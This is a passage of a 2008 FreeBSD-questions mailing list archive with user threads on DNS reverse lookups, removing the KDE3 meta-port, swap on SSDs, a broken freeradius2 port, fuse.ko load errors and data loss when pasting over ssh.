in columnal form IIRC correctly. --Be WONDERFUL if there were some kind of hardware top translate Old books and journals automagically. ... . gary -- Gary Kline kline@thought.org http://www.thought.org Public Service Unix http://jottings.thought.org http://transfinite.thought.org Flash: The alpha release of Jottings is available: http://jottings.thought.org/index.php From cswiger at mac.com Tue Dec 2 18:30:15 2008 From: cswiger at mac.com (Chuck Swiger) Date: Tue Dec 2 18:30:22 2008 Subject: mx1.freebsd.org In-Reply-To: <88ddca1954c47570bcc42e110f9a40a9.squirrel@86.58.167.132> References: <88ddca1954c47570bcc42e110f9a40a9.squirrel@86.58.167.132> Message-ID: On Dec 1, 2008, at 11:30 PM, Ebbe Hjorth wrote: > My postfix mail servers shows to messages in the queue saying > > (host mx1.FreeBSD.org[69.147.83.52] said: 450 4.7.1 Client host > rejected: > cannot find your hostname, [86.58.167.132] (in reply to RCPT TO > command)) > > But when i do a lookup or a reverse lookup, i find my hostname. > > Does mx1.freebsd.org have an old dns? Dunno, but on my localhost running BIND-9.5.0p2 I see a SERVFAIL: % dig -x 86.58.167.132 ; <<>> DiG 9.5.0-P2 <<>> -x 86.58.167.132 ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 51228 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;132.167.58.86.in-addr.arpa. IN PTR ;; Query time: 95 msec ;; SERVER: 127.0.0.1#53(127.0.0.1) ;; WHEN: Tue Dec 2 21:12:14 2008 ;; MSG SIZE rcvd: 44 Checking % dig -x 86.58.167.132 @86.58.155.254 ; <<>> DiG 9.5.0-P2 <<>> -x 86.58.167.132 @86.58.155.254 ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 22015 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2 ;; WARNING: recursion requested but not available ;; QUESTION SECTION: ;132.167.58.86.in-addr.arpa. IN PTR ;; ANSWER SECTION: 132.167.58.86.in-addr.arpa. 43200 IN PTR mail01.apz.dk. ;; AUTHORITY SECTION: 167.58.86.in-addr.arpa. 1800 IN NS ns.plushost.dk. 167.58.86.in-addr.arpa. 1800 IN NS ns2.plushost.dk. ;; ADDITIONAL SECTION: ns.plushost.dk. 3600 IN A 86.58.155.254 ns2.plushost.dk. 3600 IN A 86.58.155.253 ;; Query time: 91 msec ;; SERVER: 86.58.155.254#53(86.58.155.254) ;; WHEN: Tue Dec 2 21:12:42 2008 ;; MSG SIZE rcvd: 147 % dig -x 86.58.167.132 @86.58.155.253 ; <<>> DiG 9.5.0-P2 <<>> -x 86.58.167.132 @86.58.155.253 ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 20622 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; WARNING: recursion requested but not available ;; QUESTION SECTION: ;132.167.58.86.in-addr.arpa. IN PTR ;; ANSWER SECTION: 132.167.58.86.in-addr.arpa. 43200 IN PTR mail01.apz.dk. ;; Query time: 90 msec ;; SERVER: 86.58.155.253#53(86.58.155.253) ;; WHEN: Tue Dec 2 21:12:47 2008 ;; MSG SIZE rcvd: 71 This second answer is kinda bogus-- no glue records. -- -Chuck From fbsd06 at mlists.homeunix.com Tue Dec 2 19:18:46 2008 From: fbsd06 at mlists.homeunix.com (RW) Date: Tue Dec 2 19:18:53 2008 Subject: Uninstalling kde3 meta-port In-Reply-To: <200812021335.42120.fbsd.questions@rachie.is-a-geek.net> References: <4934E5DA.6040308@eskk.nu> <200812021335.42120.fbsd.questions@rachie.is-a-geek.net> Message-ID: <20081203030255.6afb9d7e@gumby.homeunix.com> On Tue, 2 Dec 2008 13:35:40 +0100 Mel wrote: > On Tuesday 02 December 2008 08:38:02 Leslie Jensen wrote: > > > How would you guys uninstall a meta-port? > > > > I'm considering a move to kde4 but I want a clean install, so I > > want to remove the kde3 meta-port first. > > cd /usr/ports/x11/kde3 > for dep in `make -V RUN_DEPENDS`; do > origin=${dep##*:}; > portname=`make -C ${origin} -V PORTNAME`; > pkg_delete -Xf "^${portname}-[0-9\.,_]+\$"; > done > cd /usr/ports/ports-mgmt/pkg_cutleaves > make install > pkg_cutleaves -xg > > Delete all leaves you are sure you don't need anymore, till no leaves > are left. If I were you I'd skip the loop at the top and just run the pkg_cutleaves command, delete kde3 and work down through the new leaf-dependencies. The loop takes out the first level of kde3 dependencies, saving you a few seconds in pkg_cutleaves, but also deletes x11-toolkits/qt33, which is required by some non-kde apps such as Opera. From bruce at cran.org.uk Tue Dec 2 20:32:18 2008 From: bruce at cran.org.uk (Bruce Cran) Date: Tue Dec 2 20:32:25 2008 Subject: FreeBSD and hardware?? In-Reply-To: <493586D3.6040703@gmail.com> References: <20081121211828.GA9493@kokopelli.hydra> <20081202162808.GA5851@kokopelli.hydra> <493586D3.6040703@gmail.com> Message-ID: <20081202203207.514033ee@tau> On Tue, 02 Dec 2008 14:04:51 -0500 michael wrote: > Bob McConnell wrote: > > 2. Do an SMB mount of remote directories onto the desktop or your > > home directory. Open any application and access files in that > > directory as easily as when they are on the local drive. [...] > also, my vlc sees any mounted drive or directory, no matter the > protocol. so does mplayer, etc. i don't know why your system doesn't > operate correctly, but i don't have that issue at all. > e,g: > /mnt/Azureus Downloads > this mount is mounted over samba from a computer on the other side of > the house, and i see everything on it and play my files over the > network. But it doesn't work if you use "Places -> Connect to Server" - the share appears on the Desktop as though it's mounted, but you have to realise that it's actually a GVFS mount, not a kernel-level mount. So only Gnome applications which know about GVFS are able to see the files. -- Bruce Cran From bruce at cran.org.uk Tue Dec 2 20:43:34 2008 From: bruce at cran.org.uk (Bruce Cran) Date: Tue Dec 2 20:43:40 2008 Subject: Swapping to MMC (Was: To swap or not to swap) In-Reply-To: <20081202224640.4203c195@gumby.homeunix.com> References: <189164649-1228250848-cardhu_decombobulator_blackberry.rim.net-2111088666-@bxe1001.bisx.prodap.on.blackberry> <20081202224640.4203c195@gumby.homeunix.com> Message-ID: <20081202204326.665bba28@tau> On Tue, 2 Dec 2008 22:46:40 +0000 RW wrote: > On Tue, 2 Dec 2008 20:47:26 +0000 > "Anthony M. Rasat" wrote: > > > > Pros: 1) System requires swap. Period. 2) Swap may need size in > > range between 2.17 times to 2.22 time or whatever size it need. > > This is not prohibited by Eee's SSD size (4GB btw, 701 series). > > Add what swap you need, but in my experience things get pretty slow > before you even reach 1x system memory on hard disks. AFAIK the 2x > figure is to do with saving kernel dumps, which you probably don't > want to bother with. > > > > > Cons: 1) Since SSD is manufactured have limited lifetime (around > > 100,000 times write operation or so, I read it somewhere), swapping > > to SSD is more likely not a wise thing to do. > > I don't think it's much of a problem with modern wear-levelling. > It's 100,000 writes per block with the writes being spread evenly over > the device (albeit with extra write for the wear-levelling). > > There are few writes to swap until you run low on memory, so simply > having swap wont by itself wear out the device. > > > Two against one. I concurr that swap is needed. However since SSD in > > 701 series is not removable, having a bad sector in SSD is one thing > > you don't want to have. > > I would think they have spare sectors like hard disks do. > > > > performances? And what happened if FreeBSD kernel suddenly lose its > > swap file by absent-minded human? Is it going to be just angry or > > having massive heart attack? > > > I'm not sure whether an active swap file can be deleted or not, but it > would be owned by root, so not deletable by a normal user. I suspect > that it would behave like an open file and not be genuinely deleted > until swapoff'ed. In any case it's not more of a risk than deleting > any critical file. I suspect it was more a worry about someone pulling the MMC card out of the slot; in that case I think FreeBSD would panic rather quickly! Another thing to consider is that the bus the MMC sits on is probably somewhat slower than the bus the SSD is on, so any swapping is going to slow the system down even more than usual. -- Bruce Cran From on at cs.ait.ac.th Tue Dec 2 21:09:19 2008 From: on at cs.ait.ac.th (Olivier Nicole) Date: Tue Dec 2 21:09:28 2008 Subject: Firewall with bridged interfaces and captive portal Message-ID: <200812030508.mB358SUx095910@banyan.cs.ait.ac.th> Hi, I need to implement a firewall with bridged interfaces that offers captive portal (authentication before opening the traffic). I need bridged intefaces because we are a Computer Science department and we sometime have traffic other than plain IP, need multicast, IPv6, etc, so bridged interfaces (layer 2) is the best. So far I have been using ipf and it has been running fine for many years. Now the country regulation imposes that we have authentication for every users of Internet, so I need a captive portal (redirect http request to an authentication portal before opening the firewall). Is there any solution that exists? I looked at pfSense, but captive portal does not work on bridged interfaces; it's one or the other. Any other suggestion? Best regards, Olivier From perryh at pluto.rain.com Tue Dec 2 22:12:41 2008 From: perryh at pluto.rain.com (perryh@pluto.rain.com) Date: Tue Dec 2 22:12:55 2008 Subject: [freebsd-questions] Looking @ upgrades mechanisms... In-Reply-To: <20081202164306.GA3341@ozzmosis.com> References: <200812020928.46110.fbsd.questions@rachie.is-a-geek.net> <20081202161358.GC2158@ozzmosis.com> <200812021722.54517.fbsd.questions@rachie.is-a-geek.net> <20081202164306.GA3341@ozzmosis.com> Message-ID: <4936213e.rW8/A4S+KcDyjFCb%perryh@pluto.rain.com> > ... I'm trying to remember why I did not like pkg_add -r. IIRC, one issue with pkg_add -r is that it insists on doing everything from the remote repository, and will not bother looking for any packages (incl. dependencies) locally first. This makes sense for a brand-new installation where you know there's no local repository to search -- which is probably the use case that the author had in mind -- but can be inefficient otherwise. I started hacking on it a while back, but have not had much time lately. From thavinci at thavinci.za.net Tue Dec 2 23:26:10 2008 From: thavinci at thavinci.za.net (Marcel Grandemange) Date: Tue Dec 2 23:26:17 2008 Subject: /usr/ports/net/freeradius2 port broken Message-ID: <00da01c95518$64e49d90$2eadd8b0$@za.net> Anyone else aware that the freeradius2 port is broken? [root@devvm /usr/ports/net/freeradius2]# make ===> Vulnerability check disabled, database not found ===> Found saved configuration for freeradius-2.0.5 => freeradius-server-2.0.5.tar.bz2 doesn't seem to exist in /usr/ports/distfiles/. => Attempting to fetch from ftp://ftp.freeradius.org/pub/freeradius/./. fetch: ftp://ftp.freeradius.org/pub/freeradius/./freeradius-server-2.0.5.tar.bz2: size unknown fetch: ftp://ftp.freeradius.org/pub/freeradius/./freeradius-server-2.0.5.tar.bz2: size of remote file is not known freeradius-server-2.0.5.tar.bz2 317 B 3535 Bps ===> Extracting for freeradius-2.0.5 => MD5 Checksum mismatch for freeradius-server-2.0.5.tar.bz2. => SHA256 Checksum mismatch for freeradius-server-2.0.5.tar.bz2. ===> Refetch for 1 more times files: freeradius-server-2.0.5.tar.bz2 freeradius-server-2.0.5.tar.bz2 ===> Vulnerability check disabled, database not found ===> Found saved configuration for freeradius-2.0.5 => freeradius-server-2.0.5.tar.bz2 doesn't seem to exist in /usr/ports/distfiles/. => Attempting to fetch from ftp://ftp.freeradius.org/pub/freeradius/./. fetch: ftp://ftp.freeradius.org/pub/freeradius/./freeradius-server-2.0.5.tar.bz2: size unknown fetch: ftp://ftp.freeradius.org/pub/freeradius/./freeradius-server-2.0.5.tar.bz2: size of remote file is not known freeradius-server-2.0.5.tar.bz2 361 B 2208 Bps ===> Vulnerability check disabled, database not found ===> Found saved configuration for freeradius-2.0.5 => MD5 Checksum mismatch for freeradius-server-2.0.5.tar.bz2. => SHA256 Checksum mismatch for freeradius-server-2.0.5.tar.bz2. ===> Giving up on fetching files: freeradius-server-2.0.5.tar.bz2 freeradius-server-2.0.5.tar.bz2 Make sure the Makefile and distinfo file (/usr/ports/net/freeradius2/distinfo) are up to date. If you are absolutely sure you want to override this check, type "make NO_CHECKSUM=yes [other args]". *** Error code 1 Stop in /usr/ports/net/freeradius2. *** Error code 1 Stop in /usr/ports/net/freeradius2. *** Error code 1 Stop in /usr/ports/net/freeradius2. [root@devvm /usr/ports/net/freeradius2]# make NO_CHECKSUM=yes ===> Vulnerability check disabled, database not found ===> Found saved configuration for freeradius-2.0.5 ===> Extracting for freeradius-2.0.5 ===> freeradius-2.0.5 depends on file: /usr/local/bin/perl5.8.8 - found bzip2: /usr/ports/distfiles//freeradius-server-2.0.5.tar.bz2 is not a bzip2 file. ===> Patching for freeradius-2.0.5 ===> freeradius-2.0.5 depends on file: /usr/local/bin/perl5.8.8 - found ===> Applying FreeBSD patches for freeradius-2.0.5 patch: **** can't cd to /usr/ports/net/freeradius2/work/freeradius-server-2.0.5: No such file or directory => Patch patch-config-security failed to apply cleanly. *** Error code 1 Stop in /usr/ports/net/freeradius2. *** Error code 1 Stop in /usr/ports/net/freeradius2. [root@devvm /usr/ports/net/freeradius2]# Regards From aggelidis.news at gmail.com Tue Dec 2 23:58:53 2008 From: aggelidis.news at gmail.com (Aggelidis Nikos) Date: Tue Dec 2 23:59:00 2008 Subject: open multiple xterms with script In-Reply-To: <20081202093544.a5cb8a21.freebsd@edvax.de> References: <30fc78250812020007h22ab0dc4if044e46b4f36b00c@mail.gmail.com> <20081202093544.a5cb8a21.freebsd@edvax.de> Message-ID: <30fc78250812022358v1970b4f6x6a1d6b3c9ca8f0c8@mail.gmail.com> Thank you for your help! some additional questions: 1) is there any way to give the root password once? i tried this: #!/bin/sh su root -c "\ xterm -geometry 80x25 -title 'App 1' -e 'app1' & xterm -geometry 80x25 -title 'App 2' -e 'app2'\ " but i get this: xterm Xt error: Can't open display: %s 2) > Not very elegant and tidy, but should work. You could add some > checking to the first script mentioned so it gets a clue which > application is *not* running and restart it when called, not > starting those that are running again (second session). > i don't think i need something so complex. Is there any way to instruct xterm not to close after the execution of the program? So basically the idea is open 4 terminals, execute a specific command inside them but if the command finishes or stops, the terminal stays {with a new prompt}. From d.forsyth at ru.ac.za Wed Dec 3 00:36:31 2008 From: d.forsyth at ru.ac.za (DA Forsyth) Date: Wed Dec 3 00:36:38 2008 Subject: freebsd-update through proxy with auth Message-ID: <4936612D.20753.3BEA7E4@d.forsyth.ru.ac.za> Hiya How do I get freebsd-update to fetch through a proxy that requires authentication? I cannot find any options in the man pages. -- DA Fo rsyth Network Supervisor Principal Technical Officer -- Institute for Water Research http://www.ru.ac.za/institutes/iwr/ From dino_vliet at yahoo.com Wed Dec 3 00:37:25 2008 From: dino_vliet at yahoo.com (Dino Vliet) Date: Wed Dec 3 00:37:39 2008 Subject: kldload: can't load /usr/local/modules/fuse.ko: Exec format error & fusefs-ntfs-1.2531 Message-ID: <255166.65897.qm@web51106.mail.re2.yahoo.com> Hi people, I can't use my maxtor basic 640gb external harddrive on Freebsd amd64 running 7.0 because when I try to load fusefs with this command, kldload /usr/local/modules/fuse.ko I get the following error: kldload: can't load /usr/local/modules/fuse.ko: Exec format error Adding fusefs_enable="YES" to /etc/rc.conf and fuse_load="YES" to /boot/loader.conf and rebooting doesn't help either, because then that error message is printed on the console. uname -a gives: FreeBSD zouk.telfort.nl 7.0-RELEASE-p6 FreeBSD 7.0-RELEASE-p6 #1: Thu Nov 27 13:42:17 CET 2008???? rgilaard@zouk.telfort.nl:/usr/obj/usr/src/sys/GENERIC? amd64 pkg_info | grep fuse gives: fusefs-kmod-0.3.9.p1.20080208_4 Kernel module for fuse fusefs-libs-2.7.3?? FUSE allows filesystem implementation in userspace fusefs-ntfs-1.2531? Mount NTFS partitions (read/write) and disk images Does anyone have a clue as to what is causing this behavior? I prefer to keep the external harddisk in ntfs format, although I could easily reformat it as ufs or ext3 because my whole system environment consists of bsd and linux. But I don't know if I will violate maxtor's guarantee. So I hope someone can help me with this. Brgds Dino From keramida at ceid.upatras.gr Wed Dec 3 00:50:30 2008 From: keramida at ceid.upatras.gr (Giorgos Keramidas) Date: Wed Dec 3 00:50:39 2008 Subject: open multiple xterms with script In-Reply-To: <30fc78250812022358v1970b4f6x6a1d6b3c9ca8f0c8@mail.gmail.com> (Aggelidis Nikos's message of "Wed, 3 Dec 2008 09:58:52 +0200") References: <30fc78250812020007h22ab0dc4if044e46b4f36b00c@mail.gmail.com> <20081202093544.a5cb8a21.freebsd@edvax.de> <30fc78250812022358v1970b4f6x6a1d6b3c9ca8f0c8@mail.gmail.com> Message-ID: <87wsehprr8.fsf@kobe.laptop> On Wed, 3 Dec 2008 09:58:52 +0200, "Aggelidis Nikos" wrote: > Thank you for your help! > > some additional questions: > > 1) is there any way to give the root password once? i tried this: > #!/bin/sh > > su root -c "\ > xterm -geometry 80x25 -title 'App 1' -e 'app1' & > xterm -geometry 80x25 -title 'App 2' -e 'app2'\ > " > > but i get this: > xterm Xt error: Can't open display: %s su doesn't preserve the DISPLAY environment variable, so you can use one of the following: sudo bash -c "xterm & xterm &" su root -c "DISPLAY=$DISPLAY ; export DISPLAY ; xterm & xterm &" > i don't think i need something so complex. Is there any way to > instruct xterm not to close after the execution of the program? I'm not sure. It may be possible to play shell-specific tricks that cause `app1' to be executed as part of the shell's startup scripts. From Albert.Shih at obspm.fr Wed Dec 3 00:57:22 2008 From: Albert.Shih at obspm.fr (Albert Shih) Date: Wed Dec 3 00:57:29 2008 Subject: Disenchanted with ZFS; alternatives? In-Reply-To: <20081202225810.K16927@wojtek.tensor.gdynia.pl> References: <200812010959.15647.kirk@strauser.com> <20081202213750.GA58666@obspm.fr> <20081202225810.K16927@wojtek.tensor.gdynia.pl> Message-ID: <20081203085718.GA25958@obspm.fr> Le 02/12/2008 ? 22:58:28+0100, Wojciech Puchar a ?crit > > To come back to FreeBSD, I'm using FreeBSD since > 10 years, UFS is very > > slow, and when UFS2 is release I'm very happy to switch to UFS2. > > simply turn on softupdates and turn off atime Yes I known that. But event that UFS2 >> UFS1 (hopefully ;-) ) It's especially true on squid server. Regards. -- Albert SHIH SIO batiment 15 Observatoire de Paris Meudon 5 Place Jules Janssen 92195 Meudon Cedex Heure local/Local time: Mer 3 d?c 2008 09:55:39 CET From leslie at eskk.nu Wed Dec 3 02:01:28 2008 From: leslie at eskk.nu (Leslie Jensen) Date: Wed Dec 3 02:01:42 2008 Subject: Uninstalling kde3 meta-port In-Reply-To: <200812021335.42120.fbsd.questions@rachie.is-a-geek.net> References: <4934E5DA.6040308@eskk.nu> <200812021335.42120.fbsd.questions@rachie.is-a-geek.net> Message-ID: <49365830.7040702@eskk.nu> Mel skrev: > On Tuesday 02 December 2008 08:38:02 Leslie Jensen wrote: > >> How would you guys uninstall a meta-port? >> >> I'm considering a move to kde4 but I want a clean install, so I want to >> remove the kde3 meta-port first. > > cd /usr/ports/x11/kde3 > for dep in `make -V RUN_DEPENDS`; do > origin=${dep##*:}; > portname=`make -C ${origin} -V PORTNAME`; > pkg_delete -Xf "^${portname}-[0-9\.,_]+\$"; > done > cd /usr/ports/ports-mgmt/pkg_cutleaves > make install > pkg_cutleaves -xg > > Delete all leaves you are sure you don't need anymore, till no leaves are > left. Thanks Mel I did a root@bsdpc/usr/ports/x11/kde3:make PORTNAME make: don't know how to make PORTNAME. Stop How do I solve the error? /Leslie From libc.mail at gmail.com Wed Dec 3 02:11:59 2008 From: libc.mail at gmail.com (Eugene Pimenov) Date: Wed Dec 3 02:12:05 2008 Subject: Pasting via ssh causes data loss In-Reply-To: <200812011352.27349.fbsd.questions@rachie.is-a-geek.net> References: <200812010631.35147.fbsd.questions@rachie.is-a-geek.net> <7f73df71-b828-41b6-a27b-c7c6626e8950@g38g2000yqn.googlegroups.com> <200812011352.27349.fbsd.questions@rachie.is-a-geek.net> Message-ID: <4C574FF7-19F6-440B-A006-AC414B3A3A5B@gmail.com> 01.12.2008, ? 15:52, Mel ???????(?): >> Can't check telnet... there's no telnet demon around. > > inetd: > $ grep telnet /etc/inetd.conf > #telnet stream tcp nowait root /usr/libexec/telnetd > telnetd > #telnet stream tcp6 nowait root /usr/libexec/telnetd > telnetd > > Quick setup: > remove appropreate hashmark above > /etc/rc.d/inetd onestart It works :( All 6060 bytes are saved. > > >> I tried ssh -vvv, nothing between connect and disconnect. >> >> It's definitely not an EOF. It just loses some part of data, doesn't >> stop receiving after some point. > > Where does it get lost? Meaning, does it get over the wire? Hard to > check > encrypted, but a 3k diff should show up in number of the IP packets > sent. Is > it possible to compare tcpdump linux <-> linux vs linux <-> freebsd > on the > receiving end? I'm on Mac OS X, so tcpdumps: I to freebsd http://pastie.org/327953.txt?key=zaehiz6bxcxs3rjuyfbtyq freebsd to me http://pastie.org/327954.txt?key=autckpywar1mkngb9re0w I to linux http://pastie.org/327955.txt?key=klqvsd73l3flhayoykeeq linux to me http://pastie.org/327952.txt?key=uu1cpgleuhnctwcuqzxlw However, I'm not sure it's helpful. I mean you can't look inside a packet, because it was encrypted. Headers and packet size depends on many factors. For example, if you compare linux and freebsd tcpdumps here, you'll see that freebsd ignore packet's checksums and linux has tcp timestamps turned off, and so on. > > > -- > Mel > > Problem with today's modular software: they start with the modules > and never get to the software part. From leslie at eskk.nu Wed Dec 3 02:13:25 2008 From: leslie at eskk.nu (Leslie Jensen) Date: Wed Dec 3 02:13:33 2008 Subject: Uninstalling kde3 meta-port In-Reply-To: <49365830.7040702@eskk.nu> References: <4934E5DA.6040308@eskk.nu> <200812021335.42120.fbsd.questions@rachie.is-a-geek.net> <49365830.7040702@eskk.nu> Message-ID: <49365B82.4070208@eskk.nu> Leslie Jensen skrev: > > > Mel skrev: >> On Tuesday 02 December 2008 08:38:02 Leslie Jensen wrote: >> >>> How would you guys uninstall a meta-port? >>> >>> I'm considering a move to kde4 but I want a clean install, so I want to >>> remove the kde3 meta-port first. >> >> cd /usr/ports/x11/kde3 >> for dep in `make -V RUN_DEPENDS`; do origin=${dep##*:}; >> portname=`make -C ${origin} -V PORTNAME`; >> pkg_delete -Xf "^${portname}-[0-9\.,_]+\$"; >> done >> cd /usr/ports/ports-mgmt/pkg_cutleaves >> make install >> pkg_cutleaves -xg >> >> Delete all leaves you are sure you don't need anymore, till no leaves >> are left. > > Thanks Mel > > I did a > > root@bsdpc/usr/ports/x11/kde3:make PORTNAME > make: don't know how to make PORTNAME. Stop > > How do I solve the error? > > /Leslie > > Problem solved Answering my own question. I forgot the -V. From swhetzel at gmail.com Wed Dec 3 03:17:21 2008 From: swhetzel at gmail.com (Scot Hetzel) Date: Wed Dec 3 03:17:28 2008 Subject: kldload: can't load /usr/local/modules/fuse.ko: Exec format error & fusefs-ntfs-1.253 In-Reply-To: <255166.65897.qm@web51106.mail.re2.yahoo.com> References: <255166.65897.qm@web51106.mail.re2.yahoo.com> Message-ID: <790a9fff0812030317t579bb5c9kd950703f0a3ec976@mail.gmail.com> On 12/3/08, Dino Vliet wrote: > Hi people, > > I can't use my maxtor basic 640gb external harddrive on Freebsd amd64 running 7.0 because when I try to load fusefs with this command, kldload /usr/local/modules/fuse.ko I get the following error: > > kldload: can't load /usr/local/modules/fuse.ko: Exec format error > > Adding fusefs_enable="YES" to /etc/rc.conf and fuse_load="YES" to /boot/loader.conf and rebooting doesn't help either, because then that error message is printed on the console. > > uname -a gives: > FreeBSD zouk.telfort.nl 7.0-RELEASE-p6 FreeBSD 7.0-RELEASE-p6 #1: Thu Nov 27 13:42:17 CET 2008 rgilaard@zouk.telfort.nl:/usr/obj/usr/src/sys/GENERIC amd64 > > pkg_info | grep fuse gives: > > fusefs-kmod-0.3.9.p1.20080208_4 Kernel module for fuse > fusefs-libs-2.7.3 FUSE allows filesystem implementation in userspace > fusefs-ntfs-1.2531 Mount NTFS partitions (read/write) and disk images > > Does anyone have a clue as to what is causing this behavior? How did you install the fusefs-kmod was it from a package or did you build it through the ports system? The most likely cause of this error is due to the fuse.ko module was not built against the same source as your kernel. Rebuild fusefs-kmod and that should resolve the problem. Scot From swhetzel at gmail.com Wed Dec 3 03:21:47 2008 From: swhetzel at gmail.com (Scot Hetzel) Date: Wed Dec 3 03:21:53 2008 Subject: kldload: can't load /usr/local/modules/fuse.ko: Exec format error & fusefs-ntfs-1.253 In-Reply-To: <790a9fff0812030317t579bb5c9kd950703f0a3ec976@mail.gmail.com> References: <255166.65897.qm@web51106.mail.re2.yahoo.com> <790a9fff0812030317t579bb5c9kd950703f0a3ec976@mail.gmail.com> Message-ID: <790a9fff0812030321w4fcb000ew850d7c1a289a0365@mail.gmail.com> On 12/3/08, Scot Hetzel wrote: > On 12/3/08, Dino Vliet wrote: > > Hi people, > > > > I can't use my maxtor basic 640gb external harddrive on Freebsd amd64 running 7.0 because when I try to load fusefs with this command, kldload /usr/local/modules/fuse.ko I get the following error: > > > > kldload: can't load /usr/local/modules/fuse.ko: Exec format error > > : > > > > Does anyone have a clue as to what is causing this behavior? > > > How did you install the fusefs-kmod was it from a package or did you > build it through the ports system? > > The most likely cause of this error is due to the fuse.ko module was > not built against the same source as your kernel. Rebuild fusefs-kmod > and that should resolve the problem. > I usually see this problem after cvs updating the FreeBSD sources and then rebuilding a module, and trying to load that module. Rebuilding the kernel and all external modules should resolve the problem. Scot From shinjii at maydias.com Wed Dec 3 03:38:16 2008 From: shinjii at maydias.com (Warren Liddell) Date: Wed Dec 3 03:38:23 2008 Subject: Urgent assistance with Building Qt4-sql Message-ID: <49366FD6.7000201@maydias.com> Just updated my ports via csup and i need qt4-sql installed as a dependency for KDE4.1.3, but it refuses to let me compile it with the following error reguardless if i use the little-endian or big-endian trigger, the result is the same... ====================================================== The target system byte order could not be detected! Turn on verbose messaging (-v) to see the final report. You can use the -little-endian or -big-endian switch to ./configure to continue. ===> Script "configure" failed unexpectedly. Please report the problem to kde@FreeBSD.org [maintainer] and attach the "/usr/ports/databases/qt4-sql/work/qt-x11-opensource-src-4.4.1/src/sql/../..//config.log" including the output of the failure of your make command. Also, it might be a good idea to provide an overview of all packages installed on your system (e.g. an `ls /var/db/pkg`). *** Error code 1 Stop in /usr/ports/databases/qt4-sql. ** Command failed [exit code 1]: /usr/bin/script -qa /tmp/portinstall.13456.0 env make ** Fix the problem and try again. ** Listing the failed packages (-:ignored / *:skipped / !:failed) ! databases/qt4-sql (unknown build error) From michael.copeland at gmail.com Wed Dec 3 03:44:53 2008 From: michael.copeland at gmail.com (michael) Date: Wed Dec 3 03:45:00 2008 Subject: FreeBSD and hardware?? In-Reply-To: <20081202203207.514033ee@tau> References: <20081121211828.GA9493@kokopelli.hydra> <20081202162808.GA5851@kokopelli.hydra> <493586D3.6040703@gmail.com> <20081202203207.514033ee@tau> Message-ID: <49367132.50506@gmail.com> Bruce Cran wrote: > On Tue, 02 Dec 2008 14:04:51 -0500 > michael wrote: > >> Bob McConnell wrote: >> >>> 2. Do an SMB mount of remote directories onto the desktop or your >>> home directory. Open any application and access files in that >>> directory as easily as when they are on the local drive. >>> > [...] > >> also, my vlc sees any mounted drive or directory, no matter the >> protocol. so does mplayer, etc. i don't know why your system doesn't >> operate correctly, but i don't have that issue at all. >> e,g: >> /mnt/Azureus Downloads >> this mount is mounted over samba from a computer on the other side of >> the house, and i see everything on it and play my files over the >> network. >> > > But it doesn't work if you use "Places -> Connect to Server" - the share > appears on the Desktop as though it's mounted, but you have to realise > that it's actually a GVFS mount, not a kernel-level mount. So only > Gnome applications which know about GVFS are able to see the files. > yeah.. i don't use that. mine are mounted with smbfs. From libc.mail at gmail.com Wed Dec 3 02:17:52 2008 From: libc.mail at gmail.com (Eugene Pimenov) Date: Wed Dec 3 04:27:16 2008 Subject: Pasting via ssh causes data loss In-Reply-To: References: <7A98FEF9-AA2E-4860-A1BD-A15BD9CACA34@hughes.net> Message-ID: Didn't found on lists.freebsd.org, so I resend it On 1 ???, 05:03, Chris wrote: > I was curious about your situation and set up a couple of tests. Noting > you mentioned iTerm, I thought I might be able to recreate it on a Mac > (OS-X 10.4 with 1.4.3 (100) version Terminal, I had removed iTerm due > to unreliability sometime back). I've downloaded iTerm for this test. I'm using Apple's Terminal.app. > I copied a 23094 byte program I was working on locally in MacVIM. I > first did > a cat >testfile then pasted through an ssh terminal.app connection > over satellite (very > bad connection) into a FreeBSD 7.0 box I built in the last month. At > the far end it received 23094 bytes. sftp of the file to the remote and > diff showed no differences. I then opened an ssh session to a FreeBSD > server > on my local lan and repeated with the same results. No problems. I believe that FreeBSD fetches all data. When I ssh back to my mac from FreeBSD, I recieve all data all the time. TCP should handle errors, so nothing surprising here. > The problem does not appear to be obvious or common so there must be > something > unique about how this situation if you have reproduced it on two > different terminal programs using ssh that would work correctly to other > servers using the same shell and collection method (e.g. cat >blah). I tried zsh, sh, bash and my program on the freebsd box. > Something missing here. Have you checked if you have > errors shown on the interface of the server? Are there losses if you > sftp > the files from your machine to the remote (Try pushing a 1.5 MB file and > see if that shows failures). Did you install something other than the > default > OpenSSH on the server? Do the text files have something other than text > in them or even control sequences for the remote? Just taking > potshots here. sftp doesn't lose data. Even cat file | ssh host 'cat >file' doesn't. Only pasting. It's 100% reproducible, I don't think it's some kind of side effect. $ netstat -I bge0 Name ? ?Mtu Network ? ? ? Address ? ? ? ? ? ? ?Ipkts Ierrs ? ?Opkts Oerrs ?Coll bge0 ? 1500 ? ? ?00:a0:d1:e3:fd:9c 55134708 ? ? 0 48858321 ? ? 0 ? ? 0 (no errors) Terminal sessions:http://pastie.org/327615.txt? key=opkxhrjptnh3lebyn8rjlqhttp://pastie.org/327617.txt? key=gaznt1zmfi7usps74n2h5w I believe nothing strange was installed on the server... it's a typical freebsd web-server. > A somewhat side note here, I would personally never think to move > files this > way since it's quite possible that content of files can disrupt the > stream. > I tend to use sftp. I never do that for binary files. I use sftp either. However, when I need to change some source on a server, I already have an opened text editor with the file and a terminal, in that case cat >file is just quickier. BTW, thank you for your help, guys... From patfbsd at davenulle.org Wed Dec 3 04:46:37 2008 From: patfbsd at davenulle.org (Patrick =?ISO-8859-15?Q?Lamaizi=E8re?=) Date: Wed Dec 3 04:46:44 2008 Subject: Best Journaling File System - ZFS/??? In-Reply-To: References: Message-ID: <20081203134633.57adc024@baby-jane> Le Tue, 2 Dec 2008 08:57:58 -0800, "Don O'Neil" a ?crit : > With all the discussions of ZFS lately, I'm beginning to wonder if > it's really ready for a production environment. Concerns over memory > utilization, speed, stability, etc... > > So, my question is this... If you were building a brand new 6.3/7.0 > server with decent performance (dual core, 32 Bit OS - because of > known compatibility issues with specific 